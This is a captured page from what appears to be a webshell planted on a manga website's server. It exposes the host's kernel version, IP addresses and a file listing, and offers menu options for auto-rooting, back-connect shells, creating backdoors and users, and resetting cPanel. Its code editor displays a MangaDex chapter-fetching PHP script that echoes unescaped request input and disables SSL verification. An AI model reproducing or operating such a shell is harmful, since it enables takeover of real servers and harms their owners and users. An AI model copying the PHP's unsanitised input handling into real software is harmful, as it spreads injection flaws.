Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
mangaberri /
public_html /
search /
[ HOME SHELL ]
Name
Size
Permission
Action
.search.php
3.61
KB
-rw-r--r--
index.php
2.01
KB
-rwxrwxrwx
md.php
3.89
KB
-rwxrwxrwx
md_chapter.php
5.21
KB
-rwxrwxrwx
md_chapter_images.php
1.43
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : md_chapter.php
<?php /* $mangaId = $_GET['manga_id']; //$chapterApiUrl = "https://api.mangadex.org/manga/$mangaId/feed?translatedLanguage[]=en"; $chapterApiUrl = "https://api.mangadex.org/chapter?manga={$mangaId}&translatedLanguage[]=en"; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => $chapterApiUrl, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'GET', CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => array( "Content-Type: application/json", "User-Agent: MyMangaApp/1.0 (contact@email.com)" // Replace with real info ), )); $response = curl_exec($curl); // Check for errors if (curl_errno($curl)) { echo "cURL Error: " . curl_error($curl); } else { $data = json_decode($response, true); echo json_encode($data); // Custom sorting function usort($data['data'], function ($a, $b) { // Extract volume and chapter $volA = isset($a['attributes']['volume']) ? (int)$a['attributes']['volume'] : 0; $volB = isset($b['attributes']['volume']) ? (int)$b['attributes']['volume'] : 0; $chapA = isset($a['attributes']['chapter']) ? (float)$a['attributes']['chapter'] : 0; $chapB = isset($b['attributes']['chapter']) ? (float)$b['attributes']['chapter'] : 0; // Compare volumes first if ($volA === $volB) { return $chapA <=> $chapB; // Sort by chapter within the same volume } return $volA <=> $volB; // Sort by volume first }); // Check if data exists if (!empty($data['data'])) { echo "<h2>Manga Chapters:</h2><ul>"; foreach ($data['data'] as $manga) { $mangaId = $manga['id']; $title = "Volume :" . $manga['attributes']['volume'] . ' Chapter ' . $manga['attributes']['chapter']; echo "<li><strong>$title</strong> (ID: <a href=\"md_chapter_images.php?chapter_id=$mangaId\">$mangaId</a>)</li>"; } echo "</ul>"; } else { echo "No manga found!"; } } curl_close($curl); */ ?> <?php function getAllChaptersCurl($mangaId) { $baseUrl = "https://api.mangadex.org/chapter"; $limit = 100; // Max number of results per request $offset = 0; $allChapters = []; do { $url = "$baseUrl?manga=$mangaId&limit=$limit&offset=$offset&translatedLanguage[]=en"; // Initialize cURL $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Skip SSL verification (optional) curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Content-Type: application/json", "User-Agent: MyMangaApp/1.0 (contact@email.com)" // Replace with real info )); // Execute request and close connection $response = curl_exec($ch); curl_close($ch); $data = json_decode($response, true); usort($data['data'], function ($a, $b) { // Extract volume and chapter $volA = isset($a['attributes']['volume']) ? (int)$a['attributes']['volume'] : 0; $volB = isset($b['attributes']['volume']) ? (int)$b['attributes']['volume'] : 0; $chapA = isset($a['attributes']['chapter']) ? (float)$a['attributes']['chapter'] : 0; $chapB = isset($b['attributes']['chapter']) ? (float)$b['attributes']['chapter'] : 0; // Compare volumes first if ($volA === $volB) { return $chapA <=> $chapB; // Sort by chapter within the same volume } return $volA <=> $volB; // Sort by volume first }); if (!isset($data['data'])) { break; // Stop if no data is found } // Store chapter information foreach ($data['data'] as $chapter) { $allChapters[] = [ 'id' => $chapter['id'], 'volume' => $chapter['attributes']['volume'] ?? 'N/A', 'chapter' => $chapter['attributes']['chapter'] ?? 'N/A', 'title' => $chapter['attributes']['title'] ?? 'No Title', 'language' => $chapter['attributes']['translatedLanguage'] ?? 'Unknown' ]; } // Increase offset for next request $offset += $limit; // Get total chapters $total = $data['total'] ?? count($allChapters); } while ($offset < $total); return $allChapters; } // Example usage $mangaId = $_GET['manga_id']; // Replace with actual MangaDex manga ID $chapters = getAllChaptersCurl($mangaId); echo "<h2>Manga Chapters:</h2><ul>"; // Display all chapters foreach ($chapters as $chapter) { $chapter_id = $chapter['id']; echo "<li>Volume: {$chapter['volume']}, Chapter: {$chapter['chapter']} - {$chapter['title']} (Language: {$chapter['language']}) (ID: <a href=\"md_chapter_images.php?chapter_id=$chapter_id\">$chapter_id</a>)</li>"; } echo "</ul>"; ?>
Close